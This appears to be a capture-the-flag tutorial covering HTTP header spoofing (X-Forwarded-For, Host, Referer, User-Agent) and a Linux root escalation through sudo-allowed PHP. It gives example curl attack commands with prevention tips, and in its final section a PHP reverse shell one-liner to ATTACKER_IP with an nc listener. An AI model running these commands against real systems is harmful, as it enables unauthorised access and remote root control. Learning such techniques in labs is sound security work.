HTTP Headers Attacks Explained | Linux Privilege Escalation | Vulnhub CTF

HTTP Header (X-Forwarded-For)

🔹 What is the X-Forwarded-For Header?

• It is an HTTP header that stores the original IP address of a client when a request passes through a proxy or load balancer.
• Web servers use this header for security and access control.

🔹 The Exploit

• The challenge is to bypass an access restriction on a web page.
• The server checks for a specific IP address in the X-Forwarded-For header to grant access.
• By modifying the header manually, the user tricks the server into believing they are an authorized user.

🔹 Steps to Exploit

1. Use cURL or a proxy tool (e.g., Burp Suite) to inspect the request headers.
2. Modify the X-Forwarded-For header value to localhost (127.0.0.1).
3. Submit the request again.
4. The server mistakenly grants access.

Prevention Tips

Use authentication mechanisms instead of relying on IP-based filtering.

Implement server-side validation to ensure the header isn’t blindly trusted.

HTTP Header Attacks

1. Commonly Exploited HTTP Headers

🔹 X-Forwarded-For (XFF)

• Used to store the original IP address of a client behind a proxy.
• Attackers can spoof their IP to bypass access restrictions.

💡 Example Attack:

curl -H "X-Forwarded-For: 127.0.0.1" http://target.com/admin

🔹 If the server trusts this header for authentication, the attacker gets access!

🔹 Host Header Injection

• Some websites determine site functionality based on the Host header.
• Attackers can modify it to redirect users, bypass authentication, or exploit SSRF.

Example Attack:

curl -H "Host: evil.com" http://target.com

🔹 If the application relies on Host to generate links, an attacker might be able to redirect traffic to a malicious site.

Prevention:

• Always use whitelisted hostnames in your application.
• Avoid relying on the Host header for authentication.

Referer Header Manipulation

• Some web applications allow or deny access based on the Referer header.
• Attackers can fake it to bypass CSRF (Cross-Site Request Forgery) protection.

💡 Example Attack:

curl -H "Referer: http://trusted-site.com" http://target.com/secure-page

🔹 If the site only checks the referer and not proper authentication, the attacker gains access!

✅ Prevention:

• Do NOT rely solely on referer headers for security.
• Use CSRF tokens instead.

🔹 User-Agent Spoofing

• Web applications sometimes restrict access based on the browser type (User-Agent).
• Attackers can change their User-Agent to impersonate another device or bot.

Example Attack:

curl -H "User-Agent: Googlebot" http://target.com/hidden-page

🔹 Some sites grant special access to search engines (like Googlebot). If not verified properly, an attacker can exploit it.

✅ Prevention:

• Verify User-Agent strings by checking the request origin IP.
• Use CAPTCHAs for additional validation.

Linux Privilege Escalation using PHP

🔹 The Exploit

• The user gains SSH access to a low-privilege account.
• They discover that the user “Alice” can execute PHP as root.
• By running a PHP reverse shell, they escalate privileges to root access.

🔹 Steps to Exploit

Check for misconfigured sudo permissions:

sudo -l

• Output shows that Alice can run PHP with root privileges.

Set up a listener on the attacker’s machine:

nc -lvnp 4545

Run a reverse shell payload on the target machine:

sudo php -r '$sock=fsockopen("ATTACKER_IP",4545);exec("/bin/sh -i <&3 >&3 2>&3");'

The attacker now has root access to the system.

Video Walkthrough